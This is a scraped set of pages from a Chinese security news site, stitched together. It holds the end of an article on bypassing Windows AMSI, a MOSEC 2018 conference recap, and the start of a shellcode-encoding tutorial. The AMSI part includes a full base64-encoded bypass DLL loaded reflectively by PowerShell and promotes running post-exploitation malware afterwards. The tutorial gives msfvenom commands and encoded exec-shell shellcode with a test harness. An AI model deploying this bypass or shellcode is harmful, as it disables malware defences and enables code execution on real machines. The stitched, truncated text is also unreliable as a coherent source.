ICEABBAOICEABJAOICEABRAOICEABZAOICEABhAOICFQBpAOICEABxAOICEAB5AOICEACJAOICBgCZAN0CIgCZAPIDJQChAMgAKwCpALIDMAC5AMMDNQDRAIcCPQDRANMDQgCZANECSwCBAOICBgAuAAsAfQAuABMAhgAuABsApQAuACMArgAuACsAvgAuADMAvgAuADsAvgAuAEMArgAuAEsAxAAuAFMAvgAuAFsAvgAuAGMA3AAuAGsABgEuAHMAEwFjAHsAYQEBAAMAAAAEABoAAQCcAgABAwBnAwEAAAEFANgDAQAAAQcAlgMBAAABCQDkAwIAzCwAAAEABIAAAAEAAAAAAAAAAAAAAAAAdwAAAAQAAAAAAAAAAAAAAFEAggAAAAAABAADAAAAAAAAa2VybmVsMzIAX19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zADxNb2R1bGU+ADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRhaWxzPgA1MUNBRkI0ODEzOUIwMkUwNjFENDkxOUM1MTc2NjIxQkY4N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAAAABFhAG0AcwBpAC4AZABsAGwAAFdFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAcgBlAHQAcgBpAGUAdgBlACAAYQBtAHMAaQAuAGQAbABsACAAcABvAGkAbgB0AGUAcgAuAAAdQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByAABzRQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAEEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAgAGYAdQBuAGMAdABpAG8AbgAgAHAAbwBpAG4AdABlAHIAAHVFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAYwBoAGEAbgBnAGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIAIABtAGUAbQBvAHIAeQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAhAABNQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByACAAcABhAHQAYwBoACAAaABhAHMAIABiAGUAZQBuACAAYQBwAHAAbABpAGUAZAAuAAAAAABNy6E5KHzvRJzwgzKCw/hXAAQgAQ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AALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAAMg8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==”)) | Out-Null
Write-Output “DLL has been reflected”;
}
[Bypass.AMSI]::Disable()
}
这段脚本内容将绕过字符串检测机制,因为其中没有使用任何恶意内容。它只是将.NET程序集加载到内存,并执行其代码。在执行后,我们就可以自由地执行真正的PowerShell恶意软件。
运行结果如下:

这种技术非常棒,并且很实用。大家可以使用一些PowerShell的后期漏洞利用脚本,例如Nishang、PowerSploit或其他任何PoSH黑客工具,这些工具之前都会被烦人的AMSI阻止。
我希望这篇文章能对大家有所帮助。当然,这个技术还是要归功于CyberArk网站的作者,我只是展示了如何从攻击者的角度在实际中对其进行利用。

本文翻译自 github.io, 原文链接 。如若转载请注明出处。
powershell 系统安全 AMSI

P!chu 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

ETW注册表监控windows内核实现原理
2019-02-21 14:30:47

WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53

Lucky双平台勒索者解密分析
2019-02-21 10:45:27

off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
熊猫烧香作者
换一个
|评论列表
白猫 · 2018-11-15 19:01:49 回复
干货多多,但是读完之后我却发现自己的知识点真是过于狭隘了只局限于自己的小圈子,说来惭愧第一次听说(AMSI ANTI MALWARE SCAN INTERFACE反恶意扫描接口)作者都已经开始bypass了,知识还是不够开阔呀,以后要低下头来好好学习,努力提升一下自己

白猫 · 2018-11-15 19:01:48 回复
干货多多,但是读完之后我却发现自己的知识点真是过于狭隘了只局限于自己的小圈子,说来惭愧第一次听说(AMSI ANTI MALWARE SCAN INTERFACE反恶意扫描接口)作者都已经开始bypass了,知识还是不够开阔呀,以后要低下头来好好学习,努力提升一下自己

懒惰的夜行 · 2018-11-15 11:01:22 回复
满满的都是知识点啊,充斥着各种思路,通过对内存的修改从本质上绕过AMSI从而实现对powershell代码的利用,我们就可以沿着这个思路一直深入下去,对powershell深入利用工具拿到更多权限。这是一个很好的渗透测试思路,满满的都是干货啊,感谢作者的分享。希望有更多这样有思路的文章,顺带着给我分享一些有趣的工具。

阿诚 · 2018-10-31 19:41:38 回复
干货,学习了

P!chu
May the shell be with you.
文章
150
粉丝
27
TA的文章
分析TLS 1.3降级攻击以及主要TLS库中的漏洞
2019-02-19 10:30:36
洞若观火:全方位剖析Android信息窃取恶意软件(下篇)
2018-12-26 16:30:36
洞若观火:全方位剖析Android信息窃取恶意软件(上篇)
2018-12-26 12:00:24
我是如何通过ASP Secrets读取获得1.7万美金奖励的
2018-12-21 15:29:30
WordPress权限提升导致存储型XSS和对象注入漏洞分析
2018-12-21 09:30:33
输入关键字搜索内容
相关文章
ETW注册表监控windows内核实现原理
Snapd Ubuntu 提权分析
CVE-2019-7304:Linux包管理器snap本地提权漏洞预警
Dirty Sock:Ubuntu提权漏洞分析
从PowerShell内存中提取取证脚本内容
HEVD池溢出分析
MacOS/iOS CVE-2019-6231 漏洞深入分析
热门推荐
文章目录
概述
关于AMSI
AMSI的工作原理
如何绕过字符串检测
通过内存修补绕过AMSI
使用PowerShell实现武器化
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

移动安全

移动安全
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
精彩回顾 | MOSEC 2018移动安全技术峰会
阅读量 51255 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-06-22 16:40:05

会议官网:http://www.mosec.org/

会议简介
MOSEC移动安全技术峰会始办于2015年,由盘古团队和POC主办,至今已成功举办三届。会议立足于高质量的安全技术,覆盖iOS、Android、Windows三大移动平台,致力于分享移动安全领域前沿性的技术议题及发展趋势,曾创造了15天售空所有入场券的佳绩。峰会高质量的安全技术信息分享,赢得了与会者及业内的一致好评。

图文直播
第四届MOSEC移动安全技术峰会今天在上海万达瑞华酒店举行。酒店坐落在外滩金融中心,与陆家嘴隔江相望。承袭前三届的传统,第四届峰会将有更多神秘重量级演讲嘉宾等待你的到来,来自全球的优秀互联网安全专家将再次聚首上海,向世界分享最新安全研究成果,安全客也将为小伙伴们带来最前线的现场图文直播,敬请期待吧~

大家开始陆续的签到进场~

小编从众多签到者中一眼发现了这个帅气的男子!可能有些人就是自带光辉吧

接下来会议就要正式开始咯~

议题一:手机浏览器中的远程代码执行 – Mobile Pwn2Own实例分享
讲者:奇虎360 Vulcan Team安全研究员古河、招啟汛

议题概要:

近年来,手机浏览器的安全问题一直是安全研究的焦点。大量的漏洞修补以及浏览器、操作系统层面的保护使得浏览器远程代码执行越来越难。在Mobile Pwn2Own 2017中,讲者曾成功攻破了iPhone 7的Wifi和Mobile Safari项目。在这个议题中,讲者着重介绍了他们为Mobile Pwn2Own 2017准备的(用上的和没用上的)浏览器远程执行漏洞,包括Webkit JIT漏洞,WebKit DOM漏洞,Chrome的JS引擎漏洞。会中介绍了漏洞相关原理,挖掘方法以及利用技巧。值得一提的是,讲者用到了两个WebKit JIT引擎的漏洞。最近一年来,浏览器的JIT引擎漏洞受到越来越多的关注,讲者也针对相关内容做出了一些展开介绍。

作为一种通用的漏洞缓解(Exploit Mitigation)技术,隔离堆(Isolated Heap)已经成功运用于多个主流浏览器如Chrome、FireFox、Edge、IE等。2017年下半年讲者注意到WebKit代码中也开始引入了隔离堆机制。WebKit中的隔离堆对于传统Exploit中的Heap Spray,UAF占位、任意地址读写等方面均造成了一定的影响。议题中也介绍了WebKit隔离堆的基本原理,它对今后WebKit漏洞发掘和利用的影响,以及讲者在Mobile Pwn2Own比赛前针对隔离堆机制实现的Exploit预案。

议题二:两个Malloc的故事:Android libc内存分配器
讲者:Shmarya Rubenstein,作为一名攻防安全研究员已经工作了12多年。他曾经是思科的安全威胁分析和逆向工程中心的高级技术负责人,然后去了NSO集团作为一个攻防安全研究员。他是天生的黑客,其最大的乐趣是破解复杂的软件和硬件系统。他的工作涉猎到多个平台,专注于逆向工程,漏洞发现和漏洞利用开发,目前专注于嵌入式和移动平台。他在家里逆向多种架构和操作系统,以及焊接烙铁、示波器和逻辑分析仪。他为多个开源项目做出贡献,包括将Frida二进制测试框架移植到MIPS、ARM- Linux和ARM-QNX。他每天面对的挑战之一是在Android平台上创建稳定、通用的漏洞利用。

这里必须要提一下Shmarya Rubenstein所在的NSO集团,在业界算是赫赫有名。NSO集团以作为政府和执法机构的移动监视工具供应商而闻名,通俗来说是提供间谍软件,用浅黑科技的一句评价就像是“网络军火商”,掌握着网络世界的特殊“武器”。

Android的libc分配器使用两个malloc的实现之一:dlmalloc或jemalloc。讲者探讨了这些malloc的实现,深入了解其中每一个的相关细节,从而能准确理解它们是如何工作的。现场讨论分配和释放内存的算法细节,以及每个分配器所使用的数据结构和元数据。此外还讨论了如何使用这些分配器在Android设备上执行堆布局并利用堆缓冲区溢出漏洞。以一个Android系统的堆破坏漏洞为例,讲解了如何利用堆分配器。

议题三:构造你自己的iOS内核调试器
讲者:Ian Beer在Google的Project Zero团队从事漏洞挖掘与利用的相关研究。

Ian Beer在这次议题中介绍了如何针对零售版的iOS设备开发一个内核调试器。议题的内容会涵盖ARM64底层在XNU中的异常处理,KDP远程调试的协议以及如何在不修改内核代码的前提下打造一个支持设置断点的本地内核调试器。

议题四:Shannon之旅 – Pwn2Own基带漏洞利用
讲者:Amat是在塞内加尔的一名独立安全研究员。他曾经在UCSB、高通、长亭科技从事安全研究工作。2016年他在Geekpwn上海演示了针对CSGO和DOTA2的游戏引擎的远程攻击,并进入名人堂。2017年他在Mobile Pwn2Own东京的比赛中成功演示针对三星S8手机的基带攻击。他也是一名CTF爱好者。

当前针对智能手机主流的攻击集中在应用处理器上运行的软件,利用基带漏洞这种攻击方式是打破手机的基带处理器,在基带堆栈中导致远程执行代码的攻击,这是一个较新的领域。

议题五:Bread: 接踵而来的短信诈骗
讲者:Alec Guertin,Alec是Google Play Protect的软件/逆向工程师,主要研究方向是如何检测针对Android系统的恶意软件。

在2010年,FakePlayer是第一个被发现的针对Android系统的恶意样本,它会在用户不知情的情况下发送短信。8年后的今天,短信诈骗仍然是一种流行的方式来为恶意软件开发者带来收益。不过,随着保护和检测机制的不断加强,恶意软件开发者需要更多的努力来躲避检测。

议题中介绍了Bread,这是Google Play Protect检测到的最庞大的恶意软件家族之一。讲者会深入分析Bread的作者运用了哪些创新的技术来躲避检测并欺骗用户。其中的一些技术包括动态根据运行环境调整内容,伪造的隐私申明以及通过原生代码或者服务器的Javascript来发送短信。

议题六:粉碎栈:LTE智能手机的安全性
讲者:Arthur Garipov / Chaouki Kasmi,Arthur Garipov和Chaouki Kasmi是移动和电信实验室的安全研究员,DarkMatter LLC。由于两位讲者和主办方的要求,这两位议题讲者暂时不对外公开演讲照片和分享内容,小编先认真遵守主办方的规则暂时不放图文啦~就根据已有内容给大家简单介绍一下这两位讲者解解馋吧。

Arthur在3年的SCADA / ICS相关工作经验后,在Positive Technologies的2年时间主要研究DPI和电信领域。他在无线安全和嵌入式设备方面的工作成果已在多个会议上发表。

Chaouki在法国网络和信息安全局的无线安全实验室工作了8年,担任电磁和无线安全研究员。在过去的8年中,他在国内和国际会议上发表了70多篇论文,并获得多个奖项。他是2016年以来HPEM生活高功率电磁社区的成员 – Summa基金会。

议题七:回顾苹果的iBoot
讲者:Xerub,在信息安全领域有12年的从业经验。白天研究防御技术,晚上研究攻击技术。擅长的领域包括逆向工程,恶意代码分析,模拟器以及iOS漏洞利用。

iBoot 是 iOS 系统的关键源码之一,它确保了操作系统的可信任启动,相当于是 Windows 电脑的 BIOS 系统。长期以来,尽管苹果部分开源了 macOS 和 iOS,但 iBoot 源码一直被其谨慎保密,本议题就介绍了如何针对iOS系统的iBoot编写漏洞利用,以及相关的安全概念、弱点、漏洞。

会议时间
2018年6月22日

会议地点
上海万达瑞华酒店

主办方
盘古团队 & POC Security

盘古实验室 是由多名资深安全研究人员组成的专业安全研究团队。团队成员兼具高水平学术理论研究和丰富的工业研发能力,在主流操作系统和重要应用程序中曾发现过数百个0day安全漏洞,研究成果多次发表在极具影响力的工业安全峰会 (Black hat, CanSecWest, Syscan, RUXCON, HITCon, PoC, XCon)和顶级学术会议 (IEEE S&P, USENIX Security, ACM CCS, NDSS) 上。团队研究范围覆盖iOS、Android、Windows三大移动平台,团队因多次发布iOS完美越狱工具而闻名,是国内首个自主实现苹果iOS完美越狱的团队,也是全球范围内第一个实现针对iOS 8和iOS 9系统完美越狱的团队。在Android研究领域也多有建树,在研究基础上,开发了包括Android安全评估检测平台、恶意检测检测平台、和移动威胁情报挖掘平台。

POC是韩国最大的安全技术峰会, 2015年已经是POC的第十届大会,2006年一群韩国黑客与安全研究专家决定以“交流技术、分享知识”为目的举办会议,并将其命名为POC(Power of Community,社区力量),它是目前互联网安全界举办历史最悠久的大会之一,时至今日,POC已经成为了国际知名的安全技术交流峰会。

日程安排

商务合作,文章发布请联系 dengjinling@360.cn
活动 移动安全 Mosec

安全客 官方小编 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

ETW注册表监控windows内核实现原理
2019-02-21 14:30:47

WordPress 5.0.0远程代码执行漏洞分析
2019-02-21 11:30:53

Lucky双平台勒索者解密分析
2019-02-21 10:45:27

off by null漏洞getshell示例
2019-02-20 16:59:40
|发表评论
发表你的评论吧
昵称
大表姐
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
安全客
有思想的安全新媒体
文章
1134
粉丝
52
TA的文章
关于境内大量家用路由器DNS被篡改情况通报
2019-02-21 13:35:02
GitHub上发布后即登顶的老司机渗透教程,你的小本本备好了吗?
2019-02-20 19:35:06
256万人脸识别数据遭泄露,“脸”还安全吗?
2019-02-15 19:22:33
日政府授权入侵公民物联网设备
2019-02-01 13:49:08
360网络安全周报第195期
2019-01-25 18:18:17
输入关键字搜索内容
相关文章
2018年Android恶意软件专题报告
DVP新年活动 | 新年新气象,开工送福利
中奖名单公布 | 2018安全客年终大调查,最懂我的还是你!
ASRC新年活动 | 三重奖励等你来拿!
移动平台新型诈骗解析
活动 | “(ACSS2019) 第四届中国汽车网络信息安全峰会 2019”即将召开
点融开源AgentSmith HIDS— 一套轻量级的HIDS系统
热门推荐
文章目录
会议简介
图文直播
议题一:手机浏览器中的远程代码执行 – Mobile Pwn2Own实例分享
议题二:两个Malloc的故事:Android libc内存分配器
议题三:构造你自己的iOS内核调试器
议题四:Shannon之旅 – Pwn2Own基带漏洞利用
议题五:Bread: 接踵而来的短信诈骗
议题六:粉碎栈:LTE智能手机的安全性
议题七:回顾苹果的iBoot
会议时间
会议地点
主办方
日程安排
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

alphanumeric

alphanumeric
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【技术分享】生成自己的Alphanumeric/Printable shellcode
阅读量 85186 | 稿费 400

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-04-12 09:54:26

https://p2.ssl.qhimg.com/t0119a4cca6bdd5cddf.jpg

作者:WeaponX

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

背景

最近在看一些题目(pwnable.kr-ascii, pwnable.kr-ascii_easy, pwnable.tw-Death_Note)和漏洞(CVE-2017-7269-IIS6.0远程代码执行漏洞)的时候用到Alphanumeric/Printable shellcode。本文不阐述如何书写Alphanumeric/Printable shellcode,而是教大家如何使用Metasploit生成自己的shellcode和在特定条件下寄存器的设置。

所谓Alphanumeric是字符在[A-Za-z0-9]区间的,而Printable是字符的ascii码在0x1f和0x7f区间(不包含)的。

shellcode测试可以用以下代码测试。

/*
* $ gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
* $ ./shellcode
*/
#include
#include
char shellcode[] = {
“x89xe0xdbxd6xd9x70xf4x5ax4ax4ax4ax4ax4ax4ax4a”
“x4ax4ax4ax4ax43x43x43x43x43x43x37x52x59x6ax41”
“x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42”
“x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x50”
“x6ax66x6bx53x68x4fx69x62x72x73x56x42x48x46x4d”
“x53x53x4bx39x49x77x51x78x34x6fx44x33x52x48x45”
“x50x72x48x74x6fx50x62x33x59x72x4ex6cx49x38x63”
“x70x52x38x68x55x53x67x70x35x50x65x50x74x33x45”
“x38x35x50x50x57x72x73x6fx79x58x61x5ax6dx6fx70”
“x41x41”
};
int main()
{
printf(“Shellcode Length: %dn”,(int)strlen(shellcode));
printf(“Shellcode is [%s]n”, shellcode);
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
使用metasploit生成Alphanumeric shellcode

首先查看一下metasploit中有什么编码器,其次查看能实现Alphanumeric的编码器。

root@kali ~ msfvenom -l
Framework Encoders
==================
Name Rank Description
—- —- ———–

x64/xor normal XOR Encoder
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

可以使用的Encoders有x86/alpha_mixed与x86/alpha_upper和x86/unicode_mixed与x86/unicode_upper,不过Unicode encoder是针对类似CVE-2017-7269等宽字节进行编码的。因此在本文中我们使用到的编码器为x86/alpha_mixed。

首先,使用msfvenom来生成一段shellcode并进行编码。

root@kali ~ msfvenom -a x86 –platform linux -p linux/x86/exec CMD=”sh” -e x86/alpha_mixed -f c
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 137 (iteration=0)
x86/alpha_mixed chosen with final size 137
Payload size: 137 bytes
unsigned char buf[] =
“x89xe0xdbxd6xd9x70xf4x5ax4ax4ax4ax4ax4ax4ax4a”
“x4ax4ax4ax4ax43x43x43x43x43x43x37x52x59x6ax41”
“x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42”
“x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x50”
“x6ax66x6bx53x68x4fx69x62x72x73x56x42x48x46x4d”
“x53x53x4bx39x49x77x51x78x34x6fx44x33x52x48x45”
“x50x72x48x74x6fx50x62x33x59x72x4ex6cx49x38x63”
“x70x52x38x68x55x53x67x70x35x50x65x50x74x33x45”
“x38x35x50x50x57x72x73x6fx79x58x61x5ax6dx6fx70”
“x41x41″;
可以发现,前几个字符x89xe0xdbxd6xd9x70xf4并不是Alphanumeric或者Printable,因为此shellcode的前面数条指令是为了让这段shellcode位置无关,完成了获取shellcode地址并放入通用寄存器中的功能。

然而,我们可以根据不同程序栈中的数据来自己完成将shellcode的地址放入指定的寄存器BufferRegister中的Alphanumeric Instructions。例如,当BufferRegister为ECX寄存器时,可以通过如下命令生成Alphanumeric shellcode。

⚡ root@kali ⮀ ~ ⮀ msfvenom -a x86 –platform linux -p linux/x86/exec CMD=”sh” -e x86/alpha_mixed BufferRegister=ECX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 129 (iteration=0)
x86/alpha_mixed chosen with final size 129
Payload size: 129 bytes
buf = “”
buf += “x49x49x49x49x49x49x49x49x49x49x49x49x49”
buf += “x49x49x49x49x37x51x5ax6ax41x58x50x30x41”
buf += “x30x41x6bx41x41x51x32x41x42x32x42x42x30”
buf += “x42x42x41x42x58x50x38x41x42x75x4ax49x71”
buf += “x7ax56x6bx32x78x6ax39x71x42x72x46x42x48”
buf += “x64x6dx63x53x6fx79x4ax47x73x58x34x6fx64”
buf += “x33x30x68x33x30x33x58x44x6fx42x42x72x49”
buf += “x30x6ex6fx79x48x63x76x32x38x68x67x73x37”
buf += “x70x67x70x57x70x43x43x63x58x33x30x62x77”
buf += “x76x33x6ex69x4dx31x38x4dx4bx30x41x41”
⚡ root@kali ⮀ ~ ⮀ python
Python 2.7.9 (default, Mar 1 2015, 12:57:24)
[GCC 4.9.2] on linux2
Type “help”, “copyright”, “credits” or “license” for more information.
>>> buf = “”
>>> buf += “x49x49x49x49x49x49x49x49x49x49x49x49x49”
>>> buf += “x49x49x49x49x37x51x5ax6ax41x58x50x30x41”
>>> buf += “x30x41x6bx41x41x51x32x41x42x32x42x42x30”
>>> buf += “x42x42x41x42x58x50x38x41x42x75x4ax49x71”
>>> buf += “x7ax56x6bx32x78x6ax39x71x42x72x46x42x48”
>>> buf += “x64x6dx63x53x6fx79x4ax47x73x58x34x6fx64”
>>> buf += “x33x30x68x33x30x33x58x44x6fx42x42x72x49”
